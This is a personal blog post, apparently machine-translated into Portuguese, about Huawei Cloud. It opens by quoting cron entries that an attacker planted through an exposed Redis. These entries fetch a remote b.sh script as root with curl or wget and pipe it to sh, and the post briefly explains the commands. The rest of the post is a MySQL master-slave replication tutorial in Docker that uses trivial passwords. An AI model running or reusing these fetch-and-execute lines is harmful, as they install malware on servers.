Prefácio
Recentemente, a instância Huawei Cloud Yaoyun Server L foi lançada e também comprei uma para brincar. Durante esse período, encontrei uma situação em que o banco de dados MySQL foi atacado e os dados foram perdidos. Felizmente, tive vários backups e isso não aconteceu causar muitos danos; mais tarde, houve Depois de descobrir que o banco de dados Redis foi atacado, uma senha redis foi adicionada para resolver inicialmente o problema. Em suma, foram espancados severamente de diversas maneiras. . .
Este blog analisa a vulnerabilidade de acesso não autorizado do Redis, apresenta a construção do cluster mestre-escravo MySQL e configurações relacionadas
A lista de outros artigos relacionados à avaliação de instância do Huawei Cloud Yaoyun Server L é a seguinte:
Diretório de artigos
liderar
1. Uma breve revisão da segurança de dados redis; 2.
O processo e as precauções da construção mestre-escravo do MySQL;
3. Sincronização mestre-escravo e a configuração de permissões somente leitura;
1. Questões de segurança de dados Redis
1. Vestígios deixados por ataques anteriores
*/2 * * * * root cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh
*/3 * * * * root wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | sh
*/4 * * * * root curl -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh
*/5 * * * * root wd1 -q -O- http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh
2. Interpretação de comandos de ataque
root wget -q -O-
é um comando válido. Ele usa wget
comandos para baixar um arquivo e enviá-lo para a saída padrão (stdout).
root
Indica que o comando é executado como usuário root.wget
É uma ferramenta de linha de comando para baixar arquivos da Internet.-q
opção indica modo silencioso, que não exibe o progresso do download e outras informações.-O-
A opção significa enviar o arquivo baixado para a saída padrão (stdout).
Este comando normalmente é usado para baixar um arquivo e passá-lo para outros comandos para processamento ou para redirecionar o conteúdo do arquivo para outro lugar para salvá-lo ou processá-lo.
root curl -fsSL
é um comando válido. Ele usa curl
comandos para baixar um arquivo de um URL especificado e enviá-lo para a saída padrão (stdout).
root
Indica que o comando é executado como usuário root.curl
É uma ferramenta de linha de comando para obter dados da rede.-fsSL
são algumas opções, os significados específicos são os seguintes:-f
A opção significa que se o servidor retornar um código de status de erro ao baixar o arquivo, nenhuma mensagem de erro será exibida.-s
opção indica modo silencioso, o que significa que nenhum progresso ou outras informações são exibidas.-S
opção significa exibir uma mensagem de erro quando ocorre um erro.-L
A opção significa seguir o redirecionamento, ou seja, caso o servidor retorne uma resposta de redirecionamento, salte automaticamente para a nova URL.
Este comando normalmente é usado para baixar um arquivo e passá-lo para outros comandos para processamento ou para redirecionar o conteúdo do arquivo para outro lugar para salvá-lo ou processá-lo.
2. Construção local mestre-escravo MySQL
Como o estabelecimento do MySQL master-slave é muito mais complicado do que o estabelecimento do Redis master-slave, várias tentativas anteriores falharam e, finalmente, o estabelecimento foi bem-sucedido. Portanto, apresentaremos primeiro como construir o master-slave em um ambiente virtual local máquina.
1. Monte e inicie o MySQL principal
execução do docker
- -i: Execute o contêiner em modo interativo
- -t: reatribuir um pseudo terminal de entrada ao contêiner
- --name: nome do contêiner
- --privileged: Defina permissões públicas do contêiner (o padrão é verdadeiro)
- -p: porta mapeada porta linux: porta interna do contêiner (a porta padrão do mysql é 3306)
- -v: Mapeamento de pastas/arquivos montados em Linux e caminhos dentro do contêiner
- -e: variáveis de ambiente do contêiner (definir nome de usuário e senha padrão do mysql)
- -d: executa o contêiner em segundo plano e retorna o ID do contêiner
docker run -it \
--name mysql_3316 \
--privileged \
-p 3316:3306 \
-v /usr/local/software/mysql/3316/conf/my.cnf:/etc/mysql/my.cnf \
-v /usr/local/software/mysql/3316/data:/var/lib/mysql \
-v /usr/local/software/mysql/3316/mysql-files:/var/lib/mysql-files \
-e MYSQL_ROOT_PASSWORD=123 \
-d mysql
localização no contêiner do arquivo de log do mysql
Status principal do MySQL, nome do arquivo de log do binlog e localização
O pré-requisito para a configuração mestre-escravo é que o arquivo de log binlog esteja habilitado, que é habilitado por padrão para MySQL 8 e superior.
mysql> show variables like 'log_%';
+----------------------------------------+----------------------------------------+
| Variable_name | Value |
+----------------------------------------+----------------------------------------+
| log_bin | ON |
| log_bin_basename | /var/lib/mysql/binlog |
| log_bin_index | /var/lib/mysql/binlog.index |
| log_bin_trust_function_creators | OFF |
| log_bin_use_v1_row_events | OFF |
| log_error | stderr |
| log_error_services | log_filter_internal; log_sink_internal |
| log_error_suppression_list | |
| log_error_verbosity | 2 |
| log_output | FILE |
| log_queries_not_using_indexes | OFF |
| log_raw | OFF |
| log_replica_updates | ON |
| log_slave_updates | ON |
| log_slow_admin_statements | OFF |
| log_slow_extra | OFF |
| log_slow_replica_statements | OFF |
| log_slow_slave_statements | OFF |
| log_statements_unsafe_for_binlog | ON |
| log_throttle_queries_not_using_indexes | 0 |
| log_timestamps | UTC |
+----------------------------------------+----------------------------------------+
21 rows in set (0.00 sec)
mysql>
Você também pode assistir no Navicat
2. Modifique o arquivo de configuração principal
server_id=200
log_bin=mysql-bin
binlog_format=row
Os principais itens de configuração são os seguintes
[mysqld]
pid-file =/var/run/mysqld/mysqld.pid
socket =/var/run/mysqld/mysqld.sock
datadir =/var/lib/mysql
secure-file-priv = NULL
default-authentication-plugin=mysql_native_password
# customer config here
!includedir /etc/mysql/conf.d/
server_id = 200
Verifique: Se a configuração de inicialização de montagem entra em vigor
mysql> show master status;
+---------------+----------+--------------+------------------+-------------------+
| File | Position | Binlog_Do_DB | Binlog_Ignore_DB | Executed_Gtid_Set |
+---------------+----------+--------------+------------------+-------------------+
| binlog.000002 | 157 | | | |
+---------------+----------+--------------+------------------+-------------------+
1 row in set (0.00 sec)
mysql> show variables like 'server_id';
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| server_id | 200 |
+---------------+-------+
1 row in set (0.00 sec)
Modifique o nome do arquivo de log binlog novamente
server_id = 209
log_bin=mysql-bin
binlog-format=row
Indica que a montagem foi iniciada com sucesso.
mysql> show master status;
+------------------+----------+--------------+------------------+-------------------+
| File | Position | Binlog_Do_DB | Binlog_Ignore_DB | Executed_Gtid_Set |
+------------------+----------+--------------+------------------+-------------------+
| mysql-bin.000001 | 157 | | | |
+------------------+----------+--------------+------------------+-------------------+
1 row in set (0.00 sec)
mysql> show variables like 'server_id';
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| server_id | 209 |
+---------------+-------+
1 row in set (0.01 sec)
-- 1.创建从用户slave
CREATE USER 'slave'@'%' IDENTIFIED WITH mysql_native_password by '567';
-- 2.给用户授权
GRANT replication slave,replication client ON *.* TO 'slave'@'%';
-- 3.应用权限
FLUSH PRIVILEGES;
3. Crie um usuário escravo no MySQL principal
Crie um usuário escravo
Adicionado método de criptografia para usuários escravos
Mais tarde, configure os parâmetros necessários de
Todas as operações nesta parte
4. Monte a inicialização do MySQL
Arquivo de configuração de
server_id = 211
log_bin=mysql-slave01-bin
relay_log=pet-relay-bin
read_only=1
docker run -it \
--name mysql_3320 \
--privileged \
-p 3320:3306 \
-v /usr/local/software/mysql/3320/conf/my.cnf:/etc/mysql/my.cnf \
-v /usr/local/software/mysql/3320/data:/var/lib/mysql \
-v /usr/local/software/mysql/3320/mysql-files:/var/lib/mysql-files \
-e MYSQL_ROOT_PASSWORD=123 \
-d mysql
porta aberta
firewall-cmd --zone=public --add-port=3320/tcp --permanent
firewall-cmd --reload
firewall-cmd --zone=public --list-ports
5. Estabeleça uma relação senhor-escravo na salvação do escravo
Número da porta interna do mestre
[root@localhost ~]# docker inspect mysql_3316 | grep IPA
"SecondaryIPAddresses": null,
"IPAddress": "172.17.0.3",
"IPAMConfig": null,
"IPAddress": "172.17.0.3",
[root@localhost ~]#
Configuração relacionada ao log binário principal
change master to master_host='172.17.0.3',
master_user='slave',master_password='567',
MASTER_LOG_FILE='mysql-bin.000001',
MASTER_LOG_POS=856
Configurar parâmetros
6. Verifique o status mestre-escravo no escravo
mysql> change master to master_host='172.17.0.3',
-> master_user='slave',master_password='567',
-> MASTER_LOG_FILE='mysql-bin.000001',
-> MASTER_LOG_POS=856;
Query OK, 0 rows affected, 8 warnings (0.02 sec)
mysql> start slave;
Query OK, 0 rows affected, 1 warning (0.01 sec)
mysql> show slave status \G;
*************************** 1. row ***************************
Slave_IO_State: Waiting for source to send event
Master_Host: 172.17.0.3
Master_User: slave
Master_Port: 3306
Connect_Retry: 60
Master_Log_File: mysql-bin.000001
Read_Master_Log_Pos: 856
Relay_Log_File: eafddc4554f6-relay-bin.000002
Relay_Log_Pos: 326
Relay_Master_Log_File: mysql-bin.000001
Slave_IO_Running: Yes
Slave_SQL_Running: Yes
3. Construa master-slave na Huawei Cloud
1. Prepare pastas mestre-escravo e carregue arquivos de configuração
Carregue o arquivo de configuração em anexo para a pasta conf
2. Abra a porta de resposta
firewall-cmd --zone=public --add-port=3316/tcp --permanent
firewall-cmd --reload
firewall-cmd --zone=public --list-ports
3. Monte e comece a executar o master master
Comando de inicialização de montagem
docker run -it \
--name mysql_3316 \
--privileged \
-p 3316:3306 \
-v /usr/local/software/mysql1/3316/conf/my.cnf:/etc/mysql/my.cnf \
-v /usr/local/software/mysql1/3316/data:/var/lib/mysql \
-v /usr/local/software/mysql1/3316/mysql-files:/var/lib/mysql-files \
-e MYSQL_ROOT_PASSWORD=123 \
-d mysql
Verifique se o binlog está habilitado
Adicionar configuração no arquivo de configuração my.cnf
4. Crie um usuário escravo no mestre mestre
CREATE USER 'slave'@'%' IDENTIFIED WITH mysql_native_password by '567';
GRANT replication slave,replication client ON *.* TO 'slave'@'%';
FLUSH PRIVILEGES;
5. Monte automaticamente do escravo
docker run -it \
--name mysql_3320 \
--privileged \
-p 3320:3306 \
-v /usr/local/software/mysql1/3320/conf/my.cnf:/etc/mysql/my.cnf \
-v /usr/local/software/mysql1/3320/data:/var/lib/mysql \
-v /usr/local/software/mysql1/3320/mysql-files:/var/lib/mysql-files \
-e MYSQL_ROOT_PASSWORD=123 \
-d mysql
Abra a porta
6. Estabeleça uma relação mestre-escravo no escravo
Obtenha o endereço IP interno do mestre
root@hcss-ecs-52b8:~# docker inspect mysql_3316 | grep IPA
"SecondaryIPAddresses": null,
"IPAddress": "172.17.0.3",
"IPAMConfig": null,
"IPAddress": "172.17.0.3",
Obtenha os parâmetros relevantes do mestre
show variables like 'log_%';
show master status;
show variables like 'server_id';
Estabeleça uma relação mestre-escravo
change master to master_host='172.17.0.3',
master_user='slave',master_password='567',
MASTER_LOG_FILE='mysql-bin.000001',
MASTER_LOG_POS=841
Lembre-se de começar do escravo
4. Alguns problemas e suas soluções
1. Resolvendo o problema de dados fora de sincronia
-- 如果主从同步失效,在不能使用的从输入命令
STOP slave;
RESET slave;
START slave;
2. Restringir permissões de escravo: Crie um usuário escravo somente leitura
CREATE USER 'rdb'@'%' IDENTIFIED WITH mysql_native_password by '123';
GRANT SELECT ON *.* TO 'rdb'@'%';
FLUSH PRIVILEGES;
Crie um usuário rdb somente leitura
Ao efetuar login como usuário somente leitura rdb na Navicat, o comando de operação foi rejeitado.
Anexo arquivo de configuração my.cnf
# For advice on how to change settings please see
# http://dev.mysql.com/doc/refman/8.0/en/server-configuration-defaults.html
#
# Remove leading # and set to the amount of RAM for the most important data
# cache in MySQL. Start at 70% of total RAM for dedicated server, else 10%.
# innodb_buffer_pool_size = 128M
#
# Remove leading # to turn on a very important data integrity option: logging
# changes to the binary log between backups.
# log_bin
#
# Remove leading # to set options mainly useful for reporting servers.
# The server defaults are faster for transactions and fast SELECTs.
# Adjust sizes as needed, experiment to find the optimal values.
# join_buffer_size = 128M
# sort_buffer_size = 2M
# read_rnd_buffer_size = 2M
# Remove leading # to revert to previous value for default_authentication_plugin,
# this will increase compatibility with older clients. For background, see:
# https://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html#sysvar_default_authentication_plugin
# default-authentication-plugin=mysql_native_password
# skip-host-cache
# skip-name-resolve
# socket=/var/run/mysqld/mysqld.sock
# secure-file-priv=/var/lib/mysql-files
# user=mysql
[mysqld]
pid-file =/var/run/mysqld/mysqld.pid
socket =/var/run/mysqld/mysqld.sock
datadir =/var/lib/mysql
secure-file-priv = NULL
default-authentication-plugin=mysql_native_password
# customer config here
!includedir /etc/mysql/conf.d/
server_id = 200
Resumir
1. Uma breve revisão da segurança de dados redis; 2.
O processo e as precauções da construção mestre-escravo do MySQL;
3. Sincronização mestre-escravo e a configuração de permissões somente leitura;